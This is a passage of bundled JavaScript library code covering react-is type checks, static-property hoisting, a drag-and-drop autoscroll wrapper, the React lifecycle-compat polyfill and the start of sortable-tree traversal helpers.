// The Symbol used to tag the ReactElement-like types. If there is no native Symbol
// nor polyfill, then a plain number is used for performance.
var hasSymbol = typeof Symbol === 'function' && Symbol.for;
var REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for('react.element') : 0xeac7;
var REACT_PORTAL_TYPE = hasSymbol ? Symbol.for('react.portal') : 0xeaca;
var REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for('react.fragment') : 0xeacb;
var REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for('react.strict_mode') : 0xeacc;
var REACT_PROFILER_TYPE = hasSymbol ? Symbol.for('react.profiler') : 0xead2;
var REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for('react.provider') : 0xeacd;
var REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for('react.context') : 0xeace; // TODO: We don't use AsyncMode or ConcurrentMode anymore. They were temporary
// (unstable) APIs that have been removed. Can we remove the symbols?

var REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for('react.async_mode') : 0xeacf;
var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for('react.concurrent_mode') : 0xeacf;
var REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for('react.forward_ref') : 0xead0;
var REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for('react.suspense') : 0xead1;
var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for('react.suspense_list') : 0xead8;
var REACT_MEMO_TYPE = hasSymbol ? Symbol.for('react.memo') : 0xead3;
var REACT_LAZY_TYPE = hasSymbol ? Symbol.for('react.lazy') : 0xead4;
var REACT_BLOCK_TYPE = hasSymbol ? Symbol.for('react.block') : 0xead9;
var REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for('react.fundamental') : 0xead5;
var REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for('react.responder') : 0xead6;
var REACT_SCOPE_TYPE = hasSymbol ? Symbol.for('react.scope') : 0xead7;

function isValidElementType(type) {
  return typeof type === 'string' || typeof type === 'function' || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill.
  type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === 'object' && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE);
}

function typeOf(object) {
  if (typeof object === 'object' && object !== null) {
    var $$typeof = object.$$typeof;

    switch ($$typeof) {
      case REACT_ELEMENT_TYPE:
        var type = object.type;

        switch (type) {
          case REACT_ASYNC_MODE_TYPE:
          case REACT_CONCURRENT_MODE_TYPE:
          case REACT_FRAGMENT_TYPE:
          case REACT_PROFILER_TYPE:
          case REACT_STRICT_MODE_TYPE:
          case REACT_SUSPENSE_TYPE:
            return type;

          default:
            var $$typeofType = type && type.$$typeof;

            switch ($$typeofType) {
              case REACT_CONTEXT_TYPE:
              case REACT_FORWARD_REF_TYPE:
              case REACT_LAZY_TYPE:
              case REACT_MEMO_TYPE:
              case REACT_PROVIDER_TYPE:
                return $$typeofType;

              default:
                return $$typeof;
            }

        }

      case REACT_PORTAL_TYPE:
        return $$typeof;
    }
  }

  return undefined;
} // AsyncMode is deprecated along with isAsyncMode

var AsyncMode = REACT_ASYNC_MODE_TYPE;
var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE;
var ContextConsumer = REACT_CONTEXT_TYPE;
var ContextProvider = REACT_PROVIDER_TYPE;
var Element = REACT_ELEMENT_TYPE;
var ForwardRef = REACT_FORWARD_REF_TYPE;
var Fragment = REACT_FRAGMENT_TYPE;
var Lazy = REACT_LAZY_TYPE;
var Memo = REACT_MEMO_TYPE;
var Portal = REACT_PORTAL_TYPE;
var Profiler = REACT_PROFILER_TYPE;
var StrictMode = REACT_STRICT_MODE_TYPE;
var Suspense = REACT_SUSPENSE_TYPE;
var hasWarnedAboutDeprecatedIsAsyncMode = false; // AsyncMode should be deprecated

function isAsyncMode(object) {
  {
    if (!hasWarnedAboutDeprecatedIsAsyncMode) {
      hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint

      console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');
    }
  }

  return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;
}
function isConcurrentMode(object) {
  return typeOf(object) === REACT_CONCURRENT_MODE_TYPE;
}
function isContextConsumer(object) {
  return typeOf(object) === REACT_CONTEXT_TYPE;
}
function isContextProvider(object) {
  return typeOf(object) === REACT_PROVIDER_TYPE;
}
function isElement(object) {
  return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
}
function isForwardRef(object) {
  return typeOf(object) === REACT_FORWARD_REF_TYPE;
}
function isFragment(object) {
  return typeOf(object) === REACT_FRAGMENT_TYPE;
}
function isLazy(object) {
  return typeOf(object) === REACT_LAZY_TYPE;
}
function isMemo(object) {
  return typeOf(object) === REACT_MEMO_TYPE;
}
function isPortal(object) {
  return typeOf(object) === REACT_PORTAL_TYPE;
}
function isProfiler(object) {
  return typeOf(object) === REACT_PROFILER_TYPE;
}
function isStrictMode(object) {
  return typeOf(object) === REACT_STRICT_MODE_TYPE;
}
function isSuspense(object) {
  return typeOf(object) === REACT_SUSPENSE_TYPE;
}

exports.AsyncMode = AsyncMode;
exports.ConcurrentMode = ConcurrentMode;
exports.ContextConsumer = ContextConsumer;
exports.ContextProvider = ContextProvider;
exports.Element = Element;
exports.ForwardRef = ForwardRef;
exports.Fragment = Fragment;
exports.Lazy = Lazy;
exports.Memo = Memo;
exports.Portal = Portal;
exports.Profiler = Profiler;
exports.StrictMode = StrictMode;
exports.Suspense = Suspense;
exports.isAsyncMode = isAsyncMode;
exports.isConcurrentMode = isConcurrentMode;
exports.isContextConsumer = isContextConsumer;
exports.isContextProvider = isContextProvider;
exports.isElement = isElement;
exports.isForwardRef = isForwardRef;
exports.isFragment = isFragment;
exports.isLazy = isLazy;
exports.isMemo = isMemo;
exports.isPortal = isPortal;
exports.isProfiler = isProfiler;
exports.isStrictMode = isStrictMode;
exports.isSuspense = isSuspense;
exports.isValidElementType = isValidElementType;
exports.typeOf = typeOf;
  })();
}
});
var reactIs_development_1 = reactIs_development.AsyncMode;
var reactIs_development_2 = reactIs_development.ConcurrentMode;
var reactIs_development_3 = reactIs_development.ContextConsumer;
var reactIs_development_4 = reactIs_development.ContextProvider;
var reactIs_development_5 = reactIs_development.Element;
var reactIs_development_6 = reactIs_development.ForwardRef;
var reactIs_development_7 = reactIs_development.Fragment;
var reactIs_development_8 = reactIs_development.Lazy;
var reactIs_development_9 = reactIs_development.Memo;
var reactIs_development_10 = reactIs_development.Portal;
var reactIs_development_11 = reactIs_development.Profiler;
var reactIs_development_12 = reactIs_development.StrictMode;
var reactIs_development_13 = reactIs_development.Suspense;
var reactIs_development_14 = reactIs_development.isAsyncMode;
var reactIs_development_15 = reactIs_development.isConcurrentMode;
var reactIs_development_16 = reactIs_development.isContextConsumer;
var reactIs_development_17 = reactIs_development.isContextProvider;
var reactIs_development_18 = reactIs_development.isElement;
var reactIs_development_19 = reactIs_development.isForwardRef;
var reactIs_development_20 = reactIs_development.isFragment;
var reactIs_development_21 = reactIs_development.isLazy;
var reactIs_development_22 = reactIs_development.isMemo;
var reactIs_development_23 = reactIs_development.isPortal;
var reactIs_development_24 = reactIs_development.isProfiler;
var reactIs_development_25 = reactIs_development.isStrictMode;
var reactIs_development_26 = reactIs_development.isSuspense;
var reactIs_development_27 = reactIs_development.isValidElementType;
var reactIs_development_28 = reactIs_development.typeOf;

var reactIs = createCommonjsModule(function (module) {

if (process.env.NODE_ENV === 'production') {
  module.exports = reactIs_production_min;
} else {
  module.exports = reactIs_development;
}
});

/**
 * Copyright 2015, Yahoo! Inc.
 * Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms.
 */
var REACT_STATICS = {
  childContextTypes: true,
  contextType: true,
  contextTypes: true,
  defaultProps: true,
  displayName: true,
  getDefaultProps: true,
  getDerivedStateFromError: true,
  getDerivedStateFromProps: true,
  mixins: true,
  propTypes: true,
  type: true
};
var KNOWN_STATICS = {
  name: true,
  length: true,
  prototype: true,
  caller: true,
  callee: true,
  arguments: true,
  arity: true
};
var FORWARD_REF_STATICS = {
  '$$typeof': true,
  render: true,
  defaultProps: true,
  displayName: true,
  propTypes: true
};
var MEMO_STATICS = {
  '$$typeof': true,
  compare: true,
  defaultProps: true,
  displayName: true,
  propTypes: true,
  type: true
};
var TYPE_STATICS = {};
TYPE_STATICS[reactIs.ForwardRef] = FORWARD_REF_STATICS;
TYPE_STATICS[reactIs.Memo] = MEMO_STATICS;

function getStatics(component) {
  // React v16.11 and below
  if (reactIs.isMemo(component)) {
    return MEMO_STATICS;
  } // React v16.12 and above


  return TYPE_STATICS[component['$$typeof']] || REACT_STATICS;
}

var defineProperty = Object.defineProperty;
var getOwnPropertyNames = Object.getOwnPropertyNames;
var getOwnPropertySymbols = Object.getOwnPropertySymbols;
var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
var getPrototypeOf = Object.getPrototypeOf;
var objectPrototype = Object.prototype;
function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) {
  if (typeof sourceComponent !== 'string') {
    // don't hoist over string (html) components
    if (objectPrototype) {
      var inheritedComponent = getPrototypeOf(sourceComponent);

      if (inheritedComponent && inheritedComponent !== objectPrototype) {
        hoistNonReactStatics(targetComponent, inheritedComponent, blacklist);
      }
    }

    var keys = getOwnPropertyNames(sourceComponent);

    if (getOwnPropertySymbols) {
      keys = keys.concat(getOwnPropertySymbols(sourceComponent));
    }

    var targetStatics = getStatics(targetComponent);
    var sourceStatics = getStatics(sourceComponent);

    for (var i = 0; i < keys.length; ++i) {
      var key = keys[i];

      if (!KNOWN_STATICS[key] && !(blacklist && blacklist[key]) && !(sourceStatics && sourceStatics[key]) && !(targetStatics && targetStatics[key])) {
        var descriptor = getOwnPropertyDescriptor(sourceComponent, key);

        try {
          // Avoid failures from read-only properties
          defineProperty(targetComponent, key, descriptor);
        } catch (e) {}
      }
    }
  }

  return targetComponent;
}

var hoistNonReactStatics_cjs = hoistNonReactStatics;

var util = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.noop = noop;
exports.intBetween = intBetween;
exports.getCoords = getCoords;

function noop() {}

function intBetween(min, max, val) {
  return Math.floor(Math.min(max, Math.max(min, val)));
}

function getCoords(evt) {
  if (evt.type === 'touchmove') {
    return {
      x: evt.changedTouches[0].clientX,
      y: evt.changedTouches[0].clientY
    };
  }

  return {
    x: evt.clientX,
    y: evt.clientY
  };
}
});

unwrapExports(util);
var util_1 = util.noop;
var util_2 = util.intBetween;
var util_3 = util.getCoords;

var lib = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.createHorizontalStrength = createHorizontalStrength;
exports.createVerticalStrength = createVerticalStrength;
exports.createScrollingComponent = createScrollingComponent;
exports.default = createScrollingComponentWithConsumer;
exports.defaultVerticalStrength = exports.defaultHorizontalStrength = void 0;

var _react = _interopRequireWildcard(React__default);

var _propTypes = _interopRequireDefault(PropTypes);

var _lodash = _interopRequireDefault(lodash_throttle);

var _raf = _interopRequireDefault(raf_1);

var _reactDisplayName = _interopRequireDefault(getDisplayName_1);



var _hoistNonReactStatics = _interopRequireDefault(hoistNonReactStatics_cjs);



function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } }

function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); }

function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }

function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }

function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }

function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }

function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

var DEFAULT_BUFFER = 150;

function createHorizontalStrength(_buffer) {
  return function defaultHorizontalStrength(_ref, point) {
    var x = _ref.x,
        w = _ref.w,
        y = _ref.y,
        h = _ref.h;
    var buffer = Math.min(w / 2, _buffer);
    var inRange = point.x >= x && point.x <= x + w;
    var inBox = inRange && point.y >= y && point.y <= y + h;

    if (inBox) {
      if (point.x < x + buffer) {
        return (point.x - x - buffer) / buffer;
      }

      if (point.x > x + w - buffer) {
        return -(x + w - point.x - buffer) / buffer;
      }
    }

    return 0;
  };
}

function createVerticalStrength(_buffer) {
  return function defaultVerticalStrength(_ref2, point) {
    var y = _ref2.y,
        h = _ref2.h,
        x = _ref2.x,
        w = _ref2.w;
    var buffer = Math.min(h / 2, _buffer);
    var inRange = point.y >= y && point.y <= y + h;
    var inBox = inRange && point.x >= x && point.x <= x + w;

    if (inBox) {
      if (point.y < y + buffer) {
        return (point.y - y - buffer) / buffer;
      }

      if (point.y > y + h - buffer) {
        return -(y + h - point.y - buffer) / buffer;
      }
    }

    return 0;
  };
}

var defaultHorizontalStrength = createHorizontalStrength(DEFAULT_BUFFER);
exports.defaultHorizontalStrength = defaultHorizontalStrength;
var defaultVerticalStrength = createVerticalStrength(DEFAULT_BUFFER);
exports.defaultVerticalStrength = defaultVerticalStrength;

function createScrollingComponent(WrappedComponent) {
  var ScrollingComponent =
  /*#__PURE__*/
  function (_Component) {
    _inherits(ScrollingComponent, _Component);

    // Update scaleX and scaleY every 100ms or so
    // and start scrolling if necessary
    function ScrollingComponent(props, ctx) {
      var _this;

      _classCallCheck(this, ScrollingComponent);

      _this = _possibleConstructorReturn(this, _getPrototypeOf(ScrollingComponent).call(this, props, ctx));

      _defineProperty(_assertThisInitialized(_assertThisInitialized(_this)), "updateScrolling", (0, _lodash.default)(function (evt) {
        var _this$container$getBo = _this.container.getBoundingClientRect(),
            x = _this$container$getBo.left,
            y = _this$container$getBo.top,
            w = _this$container$getBo.width,
            h = _this$container$getBo.height;

        var box = {
          x: x,
          y: y,
          w: w,
          h: h
        };
        var coords = (0, util.getCoords)(evt); // calculate strength

        var _this$props = _this.props,
            horizontalStrength = _this$props.horizontalStrength,
            verticalStrength = _this$props.verticalStrength;
        _this.scaleX = horizontalStrength(box, coords);
        _this.scaleY = verticalStrength(box, coords); // start scrolling if we need to

        if (!_this.frame && (_this.scaleX || _this.scaleY)) {
          _this.startScrolling();
        }
      }, 100, {
        trailing: false
      }));

      _defineProperty(_assertThisInitialized(_assertThisInitialized(_this)), "handleEvent", function (evt) {
        if (_this.dragging && !_this.attached) {
          _this.attach();

          _this.updateScrolling(evt);
        }
      });

      _this.wrappedInstance = _react.default.createRef();
      _this.scaleX = 0;
      _this.scaleY = 0;
      _this.frame = null;
      _this.attached = false;
      _this.dragging = false;
      return _this;
    }

    _createClass(ScrollingComponent, [{
      key: "componentDidMount",
      value: function componentDidMount() {
        var _this2 = this;

        this.container = this.wrappedInstance.current;

        if (this.container && typeof this.container.addEventListener === 'function') {
          this.container.addEventListener('dragover', this.handleEvent);
        } // touchmove events don't seem to work across siblings, so we unfortunately
        // have to attach the listeners to the body


        window.document.body.addEventListener('touchmove', this.handleEvent);
        var dragDropManager = this.props.dragDropManager;
        this.clearMonitorSubscription = dragDropManager.getMonitor().subscribeToStateChange(function () {
          return _this2.handleMonitorChange();
        });
      }
    }, {
      key: "componentWillUnmount",
      value: function componentWillUnmount() {
        if (this.container && typeof this.container.removeEventListener === 'function') {
          this.container.removeEventListener('dragover', this.handleEvent);
        }

        window.document.body.removeEventListener('touchmove', this.handleEvent);
        this.clearMonitorSubscription();
        this.stopScrolling();
      }
    }, {
      key: "handleMonitorChange",
      value: function handleMonitorChange() {
        var dragDropManager = this.props.dragDropManager;
        var isDragging = dragDropManager.getMonitor().isDragging();

        if (!this.dragging && isDragging) {
          this.dragging = true;
        } else if (this.dragging && !isDragging) {
          this.dragging = false;
          this.stopScrolling();
        }
      }
    }, {
      key: "attach",
      value: function attach() {
        this.attached = true;
        window.document.body.addEventListener('dragover', this.updateScrolling);
        window.document.body.addEventListener('touchmove', this.updateScrolling);
      }
    }, {
      key: "detach",
      value: function detach() {
        this.attached = false;
        window.document.body.removeEventListener('dragover', this.updateScrolling);
        window.document.body.removeEventListener('touchmove', this.updateScrolling);
      }
    }, {
      key: "startScrolling",
      value: function startScrolling() {
        var _this3 = this;

        var i = 0;

        var tick = function tick() {
          var scaleX = _this3.scaleX,
              scaleY = _this3.scaleY,
              container = _this3.container;
          var _this3$props = _this3.props,
              strengthMultiplier = _this3$props.strengthMultiplier,
              onScrollChange = _this3$props.onScrollChange; // stop scrolling if there's nothing to do

          if (strengthMultiplier === 0 || scaleX + scaleY === 0) {
            _this3.stopScrolling();

            return;
          } // there's a bug in safari where it seems like we can't get
          // mousemove events from a container that also emits a scroll
          // event that same frame. So we double the strengthMultiplier and only adjust
          // the scroll position at 30fps


          i += 1;

          if (i % 2) {
            var scrollLeft = container.scrollLeft,
                scrollTop = container.scrollTop,
                scrollWidth = container.scrollWidth,
                scrollHeight = container.scrollHeight,
                clientWidth = container.clientWidth,
                clientHeight = container.clientHeight;
            var newLeft = scaleX ? container.scrollLeft = (0, util.intBetween)(0, scrollWidth - clientWidth, scrollLeft + scaleX * strengthMultiplier) : scrollLeft;
            var newTop = scaleY ? container.scrollTop = (0, util.intBetween)(0, scrollHeight - clientHeight, scrollTop + scaleY * strengthMultiplier) : scrollTop;
            onScrollChange(newLeft, newTop);
          }

          _this3.frame = (0, _raf.default)(tick);
        };

        tick();
      }
    }, {
      key: "stopScrolling",
      value: function stopScrolling() {
        this.detach();
        this.scaleX = 0;
        this.scaleY = 0;

        if (this.frame) {
          _raf.default.cancel(this.frame);

          this.frame = null;
        }
      }
    }, {
      key: "render",
      value: function render() {
        var _this$props2 = this.props,
            strengthMultiplier = _this$props2.strengthMultiplier,
            verticalStrength = _this$props2.verticalStrength,
            horizontalStrength = _this$props2.horizontalStrength,
            onScrollChange = _this$props2.onScrollChange,
            props = _objectWithoutProperties(_this$props2, ["strengthMultiplier", "verticalStrength", "horizontalStrength", "onScrollChange"]);

        return _react.default.createElement(WrappedComponent, _extends({
          ref: this.wrappedInstance
        }, props));
      }
    }]);

    return ScrollingComponent;
  }(_react.Component);

  _defineProperty(ScrollingComponent, "displayName", "Scrolling(".concat((0, _reactDisplayName.default)(WrappedComponent), ")"));

  _defineProperty(ScrollingComponent, "propTypes", {
    // eslint-disable-next-line react/forbid-prop-types
    dragDropManager: _propTypes.default.object.isRequired,
    onScrollChange: _propTypes.default.func,
    verticalStrength: _propTypes.default.func,
    horizontalStrength: _propTypes.default.func,
    strengthMultiplier: _propTypes.default.number
  });

  _defineProperty(ScrollingComponent, "defaultProps", {
    onScrollChange: util.noop,
    verticalStrength: defaultVerticalStrength,
    horizontalStrength: defaultHorizontalStrength,
    strengthMultiplier: 30
  });

  return (0, _hoistNonReactStatics.default)(ScrollingComponent, WrappedComponent);
}

function createScrollingComponentWithConsumer(WrappedComponent) {
  var ScrollingComponent = createScrollingComponent(WrappedComponent);
  return function (props) {
    return _react.default.createElement(reactDnd__default.DragDropContextConsumer, null, function (_ref3) {
      var dragDropManager = _ref3.dragDropManager;
      return dragDropManager === undefined ? null : _react.default.createElement(ScrollingComponent, _extends({}, props, {
        dragDropManager: dragDropManager
      }));
    });
  };
}
});

var withScrolling = unwrapExports(lib);
var lib_1 = lib.createHorizontalStrength;
var lib_2 = lib.createVerticalStrength;
var lib_3 = lib.createScrollingComponent;
var lib_4 = lib.defaultVerticalStrength;
var lib_5 = lib.defaultHorizontalStrength;

/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

function componentWillMount() {
  // Call this.constructor.gDSFP to support sub-classes.
  var state = this.constructor.getDerivedStateFromProps(this.props, this.state);
  if (state !== null && state !== undefined) {
    this.setState(state);
  }
}

function componentWillReceiveProps(nextProps) {
  // Call this.constructor.gDSFP to support sub-classes.
  // Use the setState() updater to ensure state isn't stale in certain edge cases.
  function updater(prevState) {
    var state = this.constructor.getDerivedStateFromProps(nextProps, prevState);
    return state !== null && state !== undefined ? state : null;
  }
  // Binding "this" is important for shallow renderer support.
  this.setState(updater.bind(this));
}

function componentWillUpdate(nextProps, nextState) {
  try {
    var prevProps = this.props;
    var prevState = this.state;
    this.props = nextProps;
    this.state = nextState;
    this.__reactInternalSnapshotFlag = true;
    this.__reactInternalSnapshot = this.getSnapshotBeforeUpdate(
      prevProps,
      prevState
    );
  } finally {
    this.props = prevProps;
    this.state = prevState;
  }
}

// React may warn about cWM/cWRP/cWU methods being deprecated.
// Add a flag to suppress these warnings for this special case.
componentWillMount.__suppressDeprecationWarning = true;
componentWillReceiveProps.__suppressDeprecationWarning = true;
componentWillUpdate.__suppressDeprecationWarning = true;

function polyfill$1(Component) {
  var prototype = Component.prototype;

  if (!prototype || !prototype.isReactComponent) {
    throw new Error('Can only polyfill class components');
  }

  if (
    typeof Component.getDerivedStateFromProps !== 'function' &&
    typeof prototype.getSnapshotBeforeUpdate !== 'function'
  ) {
    return Component;
  }

  // If new component APIs are defined, "unsafe" lifecycles won't be called.
  // Error if any of these lifecycles are present,
  // Because they would work differently between older and newer (16.3+) versions of React.
  var foundWillMountName = null;
  var foundWillReceivePropsName = null;
  var foundWillUpdateName = null;
  if (typeof prototype.componentWillMount === 'function') {
    foundWillMountName = 'componentWillMount';
  } else if (typeof prototype.UNSAFE_componentWillMount === 'function') {
    foundWillMountName = 'UNSAFE_componentWillMount';
  }
  if (typeof prototype.componentWillReceiveProps === 'function') {
    foundWillReceivePropsName = 'componentWillReceiveProps';
  } else if (typeof prototype.UNSAFE_componentWillReceiveProps === 'function') {
    foundWillReceivePropsName = 'UNSAFE_componentWillReceiveProps';
  }
  if (typeof prototype.componentWillUpdate === 'function') {
    foundWillUpdateName = 'componentWillUpdate';
  } else if (typeof prototype.UNSAFE_componentWillUpdate === 'function') {
    foundWillUpdateName = 'UNSAFE_componentWillUpdate';
  }
  if (
    foundWillMountName !== null ||
    foundWillReceivePropsName !== null ||
    foundWillUpdateName !== null
  ) {
    var componentName = Component.displayName || Component.name;
    var newApiName =
      typeof Component.getDerivedStateFromProps === 'function'
        ? 'getDerivedStateFromProps()'
        : 'getSnapshotBeforeUpdate()';

    throw Error(
      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
        componentName +
        ' uses ' +
        newApiName +
        ' but also contains the following legacy lifecycles:' +
        (foundWillMountName !== null ? '\n  ' + foundWillMountName : '') +
        (foundWillReceivePropsName !== null
          ? '\n  ' + foundWillReceivePropsName
          : '') +
        (foundWillUpdateName !== null ? '\n  ' + foundWillUpdateName : '') +
        '\n\nThe above lifecycles should be removed. Learn more about this warning here:\n' +
        'https://fb.me/react-async-component-lifecycle-hooks'
    );
  }

  // React <= 16.2 does not support static getDerivedStateFromProps.
  // As a workaround, use cWM and cWRP to invoke the new static lifecycle.
  // Newer versions of React will ignore these lifecycles if gDSFP exists.
  if (typeof Component.getDerivedStateFromProps === 'function') {
    prototype.componentWillMount = componentWillMount;
    prototype.componentWillReceiveProps = componentWillReceiveProps;
  }

  // React <= 16.2 does not support getSnapshotBeforeUpdate.
  // As a workaround, use cWU to invoke the new lifecycle.
  // Newer versions of React will ignore that lifecycle if gSBU exists.
  if (typeof prototype.getSnapshotBeforeUpdate === 'function') {
    if (typeof prototype.componentDidUpdate !== 'function') {
      throw new Error(
        'Cannot polyfill getSnapshotBeforeUpdate() for components that do not define componentDidUpdate() on the prototype'
      );
    }

    prototype.componentWillUpdate = componentWillUpdate;

    var componentDidUpdate = prototype.componentDidUpdate;

    prototype.componentDidUpdate = function componentDidUpdatePolyfill(
      prevProps,
      prevState,
      maybeSnapshot
    ) {
      // 16.3+ will not execute our will-update method;
      // It will pass a snapshot value to did-update though.
      // Older versions will require our polyfilled will-update value.
      // We need to handle both cases, but can't just check for the presence of "maybeSnapshot",
      // Because for <= 15.x versions this might be a "prevContext" object.
      // We also can't just check "__reactInternalSnapshot",
      // Because get-snapshot might return a falsy value.
      // So check for the explicit __reactInternalSnapshotFlag flag to determine behavior.
      var snapshot = this.__reactInternalSnapshotFlag
        ? this.__reactInternalSnapshot
        : maybeSnapshot;

      componentDidUpdate.call(this, prevProps, prevState, snapshot);
    };
  }

  return Component;
}

/**
 * Performs a depth-first traversal over all of the node descendants,
 * incrementing currentIndex by 1 for each
 */
function getNodeDataAtTreeIndexOrNextIndex(_ref) {
  var targetIndex = _ref.targetIndex,
      node = _ref.node,
      currentIndex = _ref.currentIndex,
      getNodeKey = _ref.getNodeKey,
      _ref$path = _ref.path,
      path = _ref$path === void 0 ? [] : _ref$path,
      _ref$lowerSiblingCoun = _ref.lowerSiblingCounts,
      lowerSiblingCounts = _ref$lowerSiblingCoun === void 0 ? [] : _ref$lowerSiblingCoun,
      _ref$ignoreCollapsed = _ref.ignoreCollapsed,
      ignoreCollapsed = _ref$ignoreCollapsed === void 0 ? true : _ref$ignoreCollapsed,
      _ref$isPseudoRoot = _ref.isPseudoRoot,
      isPseudoRoot = _ref$isPseudoRoot === void 0 ? false : _ref$isPseudoRoot;
  // The pseudo-root is not considered in the path
  var selfPath = !isPseudoRoot ? [].concat(_toConsumableArray(path), [getNodeKey({
    node: node,
    treeIndex: currentIndex
  })]) : []; // Return target node when found

  if (currentIndex === targetIndex) {
    return {
      node: node,
      lowerSiblingCounts: lowerSiblingCounts,
      path: selfPath
    };
  } // Add one and continue for nodes with no children or hidden children


  if (!node.children || ignoreCollapsed && node.expanded !== true) {
    return {
      nextIndex: currentIndex + 1
    };
  } // Iterate over each child and their descendants and return the
  // target node if childIndex reaches the targetIndex


  var childIndex = currentIndex + 1;
  var childCount = node.children.length;

  for (var i = 0; i < childCount; i += 1) {
    var result = getNodeDataAtTreeIndexOrNextIndex({
      ignoreCollapsed: ignoreCollapsed,
      getNodeKey: getNodeKey,
      targetIndex: targetIndex,
      node: node.children[i],
      currentIndex: childIndex,
      lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]),
      path: selfPath
    });

    if (result.node) {
      return result;
    }

    childIndex = result.nextIndex;
  } // If the target node is not found, return the farthest traversed index


  return {
    nextIndex: childIndex
  };
}

function getDescendantCount(_ref2) {
  var node = _ref2.node,
      _ref2$ignoreCollapsed = _ref2.ignoreCollapsed,
